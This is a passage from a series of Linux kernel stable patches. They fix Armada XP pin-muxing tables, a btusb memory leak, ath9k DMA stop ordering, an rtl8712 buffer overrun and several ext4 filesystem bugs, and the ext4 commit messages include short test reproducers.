tdm(int7), tdm-1(timer) +mpp43 43 gpio, uart2(txd), uart0(rts), spi(cs3), pcie(rstout) mpp44 44 gpio, uart2(cts), uart3(rxd), spi(cs4), pcie(clkreq2), mem(bat) mpp45 45 gpio, uart2(rts), uart3(txd), spi(cs5), sata1(prsnt) @@ -83,9 +80,9 @@ mpp51 51 gpio, dev(ad16) mpp52 52 gpio, dev(ad17) mpp53 53 gpio, dev(ad18) mpp54 54 gpio, dev(ad19) -mpp55 55 gpio, dev(ad20), vdd(cpu0-pd) -mpp56 56 gpio, dev(ad21), vdd(cpu1-pd) -mpp57 57 gpio, dev(ad22), vdd(cpu2-3-pd){1} +mpp55 55 gpio, dev(ad20) +mpp56 56 gpio, dev(ad21) +mpp57 57 gpio, dev(ad22) mpp58 58 gpio, dev(ad23) mpp59 59 gpio, dev(ad24) mpp60 60 gpio, dev(ad25) @@ -95,6 +92,3 @@ mpp63 63 gpio, dev(ad28) mpp64 64 gpio, dev(ad29) mpp65 65 gpio, dev(ad30) mpp66 66 gpio, dev(ad31) - -Notes: -* {1} vdd(cpu2-3-pd) only available on mv78460. diff --git a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c index c5a01aea52b8..4966ee2f7da2 100644 --- a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c +++ b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c @@ -14,10 +14,7 @@ * available: mv78230, mv78260 and mv78460. From a pin muxing * perspective, the mv78230 has 49 MPP pins. The mv78260 and mv78460 * both have 67 MPP pins (more GPIOs and address lines for the memory - * bus mainly). The only difference between the mv78260 and the - * mv78460 in terms of pin muxing is the addition of two functions on - * pins 43 and 56 to access the VDD of the CPU2 and 3 (mv78260 has two - * cores, mv78460 has four cores). + * bus mainly). */ #include @@ -169,8 +166,7 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_MODE(26, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "fsync", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "lcd", "clk", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu1-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x4, "lcd", "clk", V_MV78230_PLUS)), MPP_MODE(27, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "ptp", "trig", V_MV78230_PLUS), @@ -185,8 +181,7 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "ptp", "clk", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "int0", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "lcd", "ref-clk", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu0-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x4, "lcd", "ref-clk", V_MV78230_PLUS)), MPP_MODE(30, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "clk", V_MV78230_PLUS), @@ -194,13 +189,11 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_MODE(31, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "cmd", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x3, "tdm", "int2", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu0-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x3, "tdm", "int2", V_MV78230_PLUS)), MPP_MODE(32, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "d0", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x3, "tdm", "int3", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu1-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x3, "tdm", "int3", V_MV78230_PLUS)), MPP_MODE(33, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "sd0", "d1", V_MV78230_PLUS), @@ -232,7 +225,6 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "spi", "cs1", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "uart2", "cts", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x3, "vdd", "cpu1-pd", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x4, "lcd", "vga-hsync", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x5, "pcie", "clkreq0", V_MV78230_PLUS)), MPP_MODE(41, @@ -247,15 +239,13 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x1, "uart2", "rxd", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "uart0", "cts", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "tdm", "int7", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "tdm-1", "timer", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu0-pd", V_MV78230_PLUS)), + MPP_VAR_FUNCTION(0x4, "tdm-1", "timer", V_MV78230_PLUS)), MPP_MODE(43, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "uart2", "txd", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "uart0", "rts", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x3, "spi", "cs3", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x4, "pcie", "rstout", V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x5, "vdd", "cpu2-3-pd", V_MV78460)), + MPP_VAR_FUNCTION(0x4, "pcie", "rstout", V_MV78230_PLUS)), MPP_MODE(44, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), MPP_VAR_FUNCTION(0x1, "uart2", "cts", V_MV78230_PLUS), @@ -306,16 +296,13 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x1, "dev", "ad19", V_MV78260_PLUS)), MPP_MODE(55, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x1, "dev", "ad20", V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x2, "vdd", "cpu0-pd", V_MV78260_PLUS)), + MPP_VAR_FUNCTION(0x1, "dev", "ad20", V_MV78260_PLUS)), MPP_MODE(56, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x1, "dev", "ad21", V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x2, "vdd", "cpu1-pd", V_MV78260_PLUS)), + MPP_VAR_FUNCTION(0x1, "dev", "ad21", V_MV78260_PLUS)), MPP_MODE(57, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x1, "dev", "ad22", V_MV78260_PLUS), - MPP_VAR_FUNCTION(0x2, "vdd", "cpu2-3-pd", V_MV78460)), + MPP_VAR_FUNCTION(0x1, "dev", "ad22", V_MV78260_PLUS)), MPP_MODE(58, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), MPP_VAR_FUNCTION(0x1, "dev", "ad23", V_MV78260_PLUS)), -- cgit v1.2.3 From 91d0d491518984502fd02fe28fb229856f6112d8 Mon Sep 17 00:00:00 2001 From: Thomas Petazzoni Date: Tue, 9 Jun 2015 18:46:58 +0200 Subject: pinctrl: mvebu: armada-xp: fix functions of MPP48 commit ea78b9511a54d0de026e04b5da86b30515072f31 upstream. There was a mistake in the definition of the functions for MPP48 on Marvell Armada XP. The second function is dev(clkout), and not tclk. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman --- Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt | 2 +- drivers/pinctrl/mvebu/pinctrl-armada-xp.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt index 0ba220bdb17f..86dec67e5450 100644 --- a/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt +++ b/Documentation/devicetree/bindings/pinctrl/marvell,armada-xp-pinctrl.txt @@ -68,7 +68,7 @@ mpp45 45 gpio, uart2(rts), uart3(txd), spi(cs5), sata1(prsnt) mpp46 46 gpio, uart3(rts), uart1(rts), spi(cs6), sata0(prsnt) mpp47 47 gpio, uart3(cts), uart1(cts), spi(cs7), pcie(clkreq3), ref(clkout) -mpp48 48 gpio, tclk, dev(burst/last) +mpp48 48 gpio, dev(clkout), dev(burst/last) * Marvell Armada XP (mv78260 and mv78460 only) diff --git a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c index 4966ee2f7da2..5923a9ef70cc 100644 --- a/drivers/pinctrl/mvebu/pinctrl-armada-xp.c +++ b/drivers/pinctrl/mvebu/pinctrl-armada-xp.c @@ -274,7 +274,7 @@ static struct mvebu_mpp_mode armada_xp_mpp_modes[] = { MPP_VAR_FUNCTION(0x5, "pcie", "clkreq3", V_MV78230_PLUS)), MPP_MODE(48, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78230_PLUS), - MPP_VAR_FUNCTION(0x1, "tclk", NULL, V_MV78230_PLUS), + MPP_VAR_FUNCTION(0x1, "dev", "clkout", V_MV78230_PLUS), MPP_VAR_FUNCTION(0x2, "dev", "burst/last", V_MV78230_PLUS)), MPP_MODE(49, MPP_VAR_FUNCTION(0x0, "gpio", NULL, V_MV78260_PLUS), -- cgit v1.2.3 From 0a912f158f212be4bbd703cbbd0af57e94012f17 Mon Sep 17 00:00:00 2001 From: Marcel Holtmann Date: Sun, 7 Jun 2015 09:42:19 +0200 Subject: Bluetooth: btusb: Fix memory leak in Intel setup routine commit ecffc80478cdce122f0ecb6a4e4f909132dd5c47 upstream. The SKB returned from the Intel specific version information command is missing a kfree_skb. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg Signed-off-by: Greg Kroah-Hartman --- drivers/bluetooth/btusb.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c index 92b985317770..537ad6897784 100644 --- a/drivers/bluetooth/btusb.c +++ b/drivers/bluetooth/btusb.c @@ -1234,6 +1234,8 @@ static int btusb_setup_intel(struct hci_dev *hdev) } fw_ptr = fw->data; + kfree_skb(skb); + /* This Intel specific command enables the manufacturer mode of the * controller. * -- cgit v1.2.3 From 885c15d7ea3d8d883394d81ec57758857a2b1a54 Mon Sep 17 00:00:00 2001 From: Felix Fietkau Date: Tue, 2 Jun 2015 10:38:32 +0200 Subject: ath9k: fix DMA stop sequence for AR9003+ commit 300f77c08ded96d33f492aaa02549103852f0c12 upstream. AR93xx and newer needs to stop rx before tx to avoid getting the DMA engine or MAC into a stuck state. This should reduce/fix the occurence of "Failed to stop Tx DMA" logspam. Signed-off-by: Felix Fietkau Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman --- drivers/net/wireless/ath/ath9k/main.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/drivers/net/wireless/ath/ath9k/main.c b/drivers/net/wireless/ath/ath9k/main.c index 82a1b5b16b62..c7f23d271058 100644 --- a/drivers/net/wireless/ath/ath9k/main.c +++ b/drivers/net/wireless/ath/ath9k/main.c @@ -195,11 +195,13 @@ static bool ath_prepare_reset(struct ath_softc *sc) ath9k_debug_samp_bb_mac(sc); ath9k_hw_disable_interrupts(ah); - if (!ath_drain_all_txq(sc)) - ret = false; - - if (!ath_stoprecv(sc)) - ret = false; + if (AR_SREV_9300_20_OR_LATER(ah)) { + ret &= ath_stoprecv(sc); + ret &= ath_drain_all_txq(sc); + } else { + ret &= ath_drain_all_txq(sc); + ret &= ath_stoprecv(sc); + } return ret; } -- cgit v1.2.3 From 38559326b111e77afbd77dad2117bdebc0b536a2 Mon Sep 17 00:00:00 2001 From: Haggai Eran Date: Sat, 23 May 2015 23:13:51 +0300 Subject: staging: rtl8712: prevent buffer overrun in recvbuf2recvframe commit cab462140f8a183e3cca0b51c8b59ef715cb6148 upstream. With an RTL8191SU USB adaptor, sometimes the hints for a fragmented packet are set, but the packet length is too large. Allocate enough space to prevent memory corruption and a resulting kernel panic [1]. [1] http://www.spinics.net/lists/linux-wireless/msg136546.html Signed-off-by: Haggai Eran ACKed-by: Larry Finger Signed-off-by: Greg Kroah-Hartman --- drivers/staging/rtl8712/rtl8712_recv.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/drivers/staging/rtl8712/rtl8712_recv.c b/drivers/staging/rtl8712/rtl8712_recv.c index d59a74aa3048..4b25f3afb8dc 100644 --- a/drivers/staging/rtl8712/rtl8712_recv.c +++ b/drivers/staging/rtl8712/rtl8712_recv.c @@ -1075,7 +1075,8 @@ static int recvbuf2recvframe(struct _adapter *padapter, struct sk_buff *pskb) /* for first fragment packet, driver need allocate 1536 + * drvinfo_sz + RXDESC_SIZE to defrag packet. */ if ((mf == 1) && (frag == 0)) - alloc_sz = 1658;/*1658+6=1664, 1664 is 128 alignment.*/ + /*1658+6=1664, 1664 is 128 alignment.*/ + alloc_sz = max_t(u16, tmp_len, 1658); else alloc_sz = tmp_len; /* 2 is for IP header 4 bytes alignment in QoS packet case. -- cgit v1.2.3 From 5831539713c12f187ec132e8eacf86b832c0c94b Mon Sep 17 00:00:00 2001 From: Theodore Ts'o Date: Fri, 12 Jun 2015 23:45:33 -0400 Subject: ext4: fix race between truncate and __ext4_journalled_writepage() commit bdf96838aea6a265f2ae6cbcfb12a778c84a0b8e upstream. The commit cf108bca465d: "ext4: Invert the locking order of page_lock and transaction start" caused __ext4_journalled_writepage() to drop the page lock before the page was written back, as part of changing the locking order to jbd2_journal_start -> page_lock. However, this introduced a potential race if there was a truncate racing with the data=journalled writeback mode. Fix this by grabbing the page lock after starting the journal handle, and then checking to see if page had gotten truncated out from under us. This fixes a number of different warnings or BUG_ON's when running xfstests generic/086 in data=journalled mode, including: jbd2_journal_dirty_metadata: vdc-8: bad jh for block 115643: transaction (ee3fe7 c0, 164), jh->b_transaction ( (null), 0), jh->b_next_transaction ( (null), 0), jlist 0 - and - kernel BUG at /usr/projects/linux/ext4/fs/jbd2/transaction.c:2200! ... Call Trace: [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] __ext4_journalled_invalidatepage+0x10f/0x117 [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] ? lock_buffer+0x36/0x36 [] ext4_journalled_invalidatepage+0xd/0x22 [] do_invalidatepage+0x22/0x26 [] truncate_inode_page+0x5b/0x85 [] truncate_inode_pages_range+0x156/0x38c [] truncate_inode_pages+0x11/0x15 [] truncate_pagecache+0x55/0x71 [] ext4_setattr+0x4a9/0x560 [] ? current_kernel_time+0x10/0x44 [] notify_change+0x1c7/0x2be [] do_truncate+0x65/0x85 [] ? file_ra_state_init+0x12/0x29 - and - WARNING: CPU: 1 PID: 1331 at /usr/projects/linux/ext4/fs/jbd2/transaction.c:1396 irty_metadata+0x14a/0x1ae() ... Call Trace: [] ? console_unlock+0x3a1/0x3ce [] dump_stack+0x48/0x60 [] warn_slowpath_common+0x89/0xa0 [] ? jbd2_journal_dirty_metadata+0x14a/0x1ae [] warn_slowpath_null+0x14/0x18 [] jbd2_journal_dirty_metadata+0x14a/0x1ae [] __ext4_handle_dirty_metadata+0xd4/0x19d [] write_end_fn+0x40/0x53 [] ext4_walk_page_buffers+0x4e/0x6a [] ext4_writepage+0x354/0x3b8 [] ? mpage_release_unused_pages+0xd4/0xd4 [] ? wait_on_buffer+0x2c/0x2c [] ? ext4_writepage+0x3b8/0x3b8 [] __writepage+0x10/0x2e [] write_cache_pages+0x22d/0x32c [] ? ext4_writepage+0x3b8/0x3b8 [] ext4_writepages+0x102/0x607 [] ? sched_clock_local+0x10/0x10e [] ? __lock_is_held+0x2e/0x44 [] ? lock_is_held+0x43/0x51 [] do_writepages+0x1c/0x29 [] __writeback_single_inode+0xc3/0x545 [] writeback_sb_inodes+0x21f/0x36d ... Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/ext4/inode.c | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 8a277505a3be..d4d72659803c 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -2099,19 +2099,32 @@ static int __ext4_journalled_writepage(struct page *page, ext4_walk_page_buffers(handle, page_bufs, 0, len, NULL, bget_one); } - /* As soon as we unlock the page, it can go away, but we have - * references to buffers so we are safe */ + /* + * We need to release the page lock before we start the + * journal, so grab a reference so the page won't disappear + * out from under us. + */ + get_page(page); unlock_page(page); handle = ext4_journal_start(inode, EXT4_HT_WRITE_PAGE, ext4_writepage_trans_blocks(inode)); if (IS_ERR(handle)) { ret = PTR_ERR(handle); - goto out; + put_page(page); + goto out_no_pagelock; } - BUG_ON(!ext4_handle_valid(handle)); + lock_page(page); + put_page(page); + if (page->mapping != mapping) { + /* The page got truncated from under us */ + ext4_journal_stop(handle); + ret = 0; + goto out; + } + if (inline_data) { ret = ext4_journal_get_write_access(handle, inode_bh); @@ -2136,6 +2149,8 @@ static int __ext4_journalled_writepage(struct page *page, NULL, bput_one); ext4_set_inode_state(inode, EXT4_STATE_JDATA); out: + unlock_page(page); +out_no_pagelock: brelse(inode_bh); return ret; } -- cgit v1.2.3 From b9f1b63992150821ef4f28e009bc342325891ef5 Mon Sep 17 00:00:00 2001 From: Theodore Ts'o Date: Sat, 20 Jun 2015 22:50:33 -0400 Subject: ext4: call sync_blockdev() before invalidate_bdev() in put_super() commit 89d96a6f8e6491f24fc8f99fd6ae66820e85c6c1 upstream. Normally all of the buffers will have been forced out to disk before we call invalidate_bdev(), but there will be some cases, where a file system operation was aborted due to an ext4_error(), where there may still be some dirty buffers in the buffer cache for the device. So try to force them out to memory before calling invalidate_bdev(). This fixes a warning triggered by generic/081: WARNING: CPU: 1 PID: 3473 at /usr/projects/linux/ext4/fs/block_dev.c:56 __blkdev_put+0xb5/0x16f() Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/ext4/super.c | 1 + 1 file changed, 1 insertion(+) diff --git a/fs/ext4/super.c b/fs/ext4/super.c index 21a0b43a7d31..af1eaed96a91 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -803,6 +803,7 @@ static void ext4_put_super(struct super_block *sb) dump_orphan_list(sb, sbi); J_ASSERT(list_empty(&sbi->s_orphan)); + sync_blockdev(sb->s_bdev); invalidate_bdev(sb->s_bdev); if (sbi->journal_bdev && sbi->journal_bdev != sb->s_bdev) { /* -- cgit v1.2.3 From 438a985247eb526402efb5e403b593a95060e888 Mon Sep 17 00:00:00 2001 From: "Darrick J. Wong" Date: Sun, 21 Jun 2015 21:10:51 -0400 Subject: ext4: don't retry file block mapping on bigalloc fs with non-extent file commit 292db1bc6c105d86111e858859456bcb11f90f91 upstream. ext4 isn't willing to map clusters to a non-extent file. Don't signal this with an out of space error, since the FS will retry the allocation (which didn't fail) forever. Instead, return EUCLEAN so that the operation will fail immediately all the way back to userspace. (The fix is either to run e2fsck -E bmap2extent, or to chattr +e the file.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/ext4/indirect.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/ext4/indirect.c b/fs/ext4/indirect.c index 589061469687..b07a221c3138 100644 --- a/fs/ext4/indirect.c +++ b/fs/ext4/indirect.c @@ -577,7 +577,7 @@ int ext4_ind_map_blocks(handle_t *handle, struct inode *inode, EXT4_FEATURE_RO_COMPAT_BIGALLOC)) { EXT4_ERROR_INODE(inode, "Can't allocate blocks for " "non-extent mapped inodes with bigalloc"); - return -ENOSPC; + return -EUCLEAN; } goal = ext4_find_goal(inode, map->m_lblk, partial); -- cgit v1.2.3 From 9b5fe3a114cc5fef9c29e23555e7074d3991689e Mon Sep 17 00:00:00 2001 From: Lukas Czerner Date: Fri, 3 Jul 2015 21:13:55 -0400 Subject: ext4: fix reservation release on invalidatepage for delalloc fs commit 9705acd63b125dee8b15c705216d7186daea4625 upstream. On delalloc enabled file system on invalidatepage operation in ext4_da_page_release_reservation() we want to clear the delayed buffer and remove the extent covering the delayed buffer from the extent status tree. However currently there is a bug where on the systems with page size > block size we will always remove extents from the start of the page regardless where the actual delayed buffers are positioned in the page. This leads to the errors like this: EXT4-fs warning (device loop0): ext4_da_release_space:1225: ext4_da_release_space: ino 13, to_free 1 with only 0 reserved data blocks This however can cause data loss on writeback time if the file system is in ENOSPC condition because we're releasing reservation for someones else delayed buffer. Fix this by only removing extents that corresponds to the part of the page we want to invalidate. This problem is reproducible by the following fio receipt (however I was only able to reproduce it with fio-2.1 or older. [global] bs=8k iodepth=1024 iodepth_batch=60 randrepeat=1 size=1m directory=/mnt/test numjobs=20 [job1] ioengine=sync bs=1k direct=1 rw=randread filename=file1:file2 [job2] ioengine=libaio rw=randwrite direct=1 filename=file1:file2 [job3] bs=1k ioengine=posixaio rw=randwrite direct=1 filename=file1:file2 [job5] bs=1k ioengine=sync rw=randread filename=file1:file2 [job7] ioengine=libaio rw=randwrite filename=file1:file2 [job8] ioengine=posixaio rw=randwrite filename=file1:file2 [job10] ioengine=mmap rw=randwrite bs=1k filename=file1:file2 [job11] ioengine=mmap rw=randwrite direct=1 filename=file1:file2 Signed-off-by: Lukas Czerner Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Signed-off-by: Greg Kroah-Hartman --- fs/ext4/inode.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index d4d72659803c..10b71e4029a0 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -1412,7 +1412,7 @@ static void ext4_da_release_space(struct inode *inode, int to_free) static void ext4_da_page_release_reservation(struct page *page, unsigned long offset) { - int to_release = 0; + int to_release = 0, contiguous_blks = 0; struct buffer_head *head, *bh; unsigned int curr_off = 0; struct inode *inode = page->mapping->host; @@ -1427,14 +1427,23 @@ static void ext4_da_page_release_reservation(struct page *page, if ((offset <= curr_off) && (buffer_delay(bh))) { to_release++; + contiguous_blks++; clear_buffer_delay(bh); + } else if (contiguous_blks) { + lblk = page->index << + (PAGE_CACHE_SHIFT - inode->i_blkbits); + lblk += (curr_off >> inode->i_blkbits) - + contiguous_blks; + ext4_es_remove_extent(inode, lblk, contiguous_blks); + contiguous_blks = 0; } curr_off = next_off; } while ((bh = bh->b_this_page) != head); - if (to_release) { + if (contiguous_blks) { lblk = page->index << (PAGE_CACHE_SHIFT - inode->i_blkbits); - ext4_es_remove_extent(inode, lblk, to_release); + lblk += (curr_off >> inode->i_blkbits) - contiguous_blks; + ext4_es_remove_extent(inode, lblk, contiguous_blks); } /* If we have released all the blocks belonging to a cluster, then we -- cgit v1.2.3 From fc8bf2193703123dde6726ea66c899df48b2d775 Mon Sep 17 00:00:00 2001 From: Eryu Guan Date: Fri, 3 Jul 2015 23:56:50 -0400 Subject: ext4: be more strict when migrating to non-extent based file commit d6f123a9297496ad0b6335fe881504c4b5b2a5e5 upstream. Currently the check in ext4_ind_migrate() is not enough before doing the real conversion: a) delayed allocated extents could bypass the check on eh->eh_entries and eh->eh_depth This can be demonstrated by this script xfs_io -fc "pwrite 0 4k" -c "pwrite 8k 4k" /mnt/ext4/testfile chattr -e /mnt/ext4/testfile where testfile has two extents but still be converted to non-extent based file format. b) only extent length is checked but not the offset, which would result in data lose (delalloc) or fs corruption (nodelalloc), because non-extent based file only supports at most (12 + 2^10 + 2^20 + 2^30) blocks This can be demostrated by xfs_io -fc "pwrite 5T 4k" /mnt/ext4/testfile chattr -e /mnt/ext4/testfile sync If delalloc is enabled, dmesg prints EXT4-fs warning (device dm-4): ext4_block_to_path:105: block 1342177280 > max in inode 53 EXT4-fs (dm-4): Delayed block allocation failed for inode 53 at logical offset 1342177280 with max blocks 1 with error 5 EXT4-fs (dm-4): This should not happen!! Data will be lost If delalloc is disabled, e2fsck -nf shows corruption Inode 53, i_size is 5497558142976, should be 4096. Fix? no Fix the two issues by a) forcing all delayed allocation blocks to be allocated before checking eh->eh_depth and eh->eh_entries b) limiting the last logical block of the extent is within direct map Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/ext4/migrate.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/fs/ext4/migrate.c b/fs/ext4/migrate.c index 49e8bdff9163..c093a1b7b6ea 100644 --- a/fs/ext4/migrate.c +++ b/fs/ext4/migrate.c @@ -616,6 +616,7 @@ int ext4_ind_migrate(struct inode *inode) struct ext4_inode_info *ei = EXT4_I(inode); struct ext4_extent *ex; unsigned int i, len; + ext4_lblk_t end; ext4_fsblk_t blk; handle_t *handle; int ret; @@ -629,6 +630,14 @@ int ext4_ind_migrate(struct inode *inode) EXT4_FEATURE_RO_COMPAT_BIGALLOC)) return -EOPNOTSUPP; + /* + * In order to get correct extent info, force all delayed allocation + * blocks to be allocated, otherwise delayed allocation blocks may not + * be reflected and bypass the checks on extent header. + */ + if (test_opt(inode->i_sb, DELALLOC)) + ext4_alloc_da_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_MIGRATE, 1); if (IS_ERR(handle)) return PTR_ERR(handle); @@ -650,7 +659,8 @@ int ext4_ind_migrate(struct inode *inode) else { len = le16_to_cpu(ex->ee_len); blk = ext4_ext_pblock(ex); - if (len > EXT4_NDIR_BLOCKS) { + end = le32_to_cpu(ex->ee_block) + len - 1; + if (end >= EXT4_NDIR_BLOCKS) { ret = -EOPNOTSUPP; goto errout; } -- cgit v1.2.3 From 3cf4f7339b7902c6b7ac10035fd196b7889dcf4d Mon Sep 17 00:00:00 2001 From: Eryu Guan Date: Sat, 4 Jul 2015 00:03:44 -0400 Subject: ext4: correctly migrate a file with a hole at the beginning commit 8974fec7d72e3e02752fe0f27b4c3719c78d9a15 upstream. Currently ext4_ind_migrate() doesn't correctly handle a file which contains a hole at the beginning of the file. This caused the migration to be done incorrectly, and then if there is a subsequent following delayed allocation write to the "hole", this would reclaim the same data blocks again and results in fs corruption. # assmuing 4k block size ext4, with delalloc enabled # skip the first block and write to the second block xfs_io -fc "pwrite 4k 4k" -c "fsync" /mnt/ext4/testfile # converting to indirect-mapped file, which would move the data blocks # to the beginning of the file, but extent status cache still marks # that region as a hole chattr -e /mnt/ext4/testfile # delayed allocation writes to the "hole", reclaim the same data block # again, results in i_blocks corruption xfs_io -c "pwrite 0 4k" /mnt/ext4/testfile umount /mnt/ext4 e2fsck -nf /dev/sda6 ... Inode 53, i_blocks is 16, should be 8. Fix? no ... Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman --- fs/ext4/migrate.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/fs/ext4/migrate.c b/fs/ext4/migrate.c index c093a1b7b6ea..d19efab66cb6 100644 --- a/fs/ext4/migrate.c +++ b/fs/ext4/migrate.c @@ -616,7 +616,7 @@ int ext4_ind_migrate(struct inode *inode) struct ext4_inode_info *ei = EXT4_I(inode); struct ext4_extent *ex; unsigned int i, len; - ext4_lblk_t end; + ext4_lblk_t start, end; ext4_fsblk_t blk; handle_t *handle; int ret; @@ -655,11 +655,12 @@ int ext4_ind_migrate(struct inode *inode) goto errout; } if (eh->eh_entries == 0) - blk = len = 0; + blk = len = start = end = 0; else { len = le16_to_cpu(ex->ee_len); blk = ext4_ext_pblock(ex); - end = le32_to_cpu(ex->ee_block) + len - 1; + start = le32_to_cpu(ex->ee_block); + end = start + len - 1; if (end >= EXT4_NDIR_BLOCKS) { ret = -EOPNOTSUPP; goto errout; @@ -668,7 +669,7 @@ int ext4_ind_migrate(struct inode *inode) ext4_clear_inode_flag(inode, EXT4_INODE_EXTENTS); memset(ei->i_data, 0, sizeof(ei->i_data)); - for (i=0; i < len; i++) + for (i = start; i <= end; i++) ei->i_data[i] = cpu_to_le32(blk++); ext4_mark_inode_dirty(handle, inode); errout: -- cgit v1.2.3 From 45add18aeda9dbc0a2346c6c7479835a0a01f0df Mon Sep 17 00:00:00 2001 From: Michal Hocko Date: Sun, 5 Jul 2015 12:33:44 -0400 Subject: ext4: replace open coded nofail allocation in ext4_free_blocks() commit 7444a072c387a93ebee7066e8aee776954ab0e41 upstream. ext4_free_blocks is looping around the allocation request and mimics __GFP_NOFAIL behavior without any allocation fallback strategy. Let's remove the open coded loop and replace it with __GFP_NOFAIL. Without the flag the allocator has no way to find out never-fail requirement and cannot help in any way. Signed-off-by: Michal Hocko Signed-off-by: 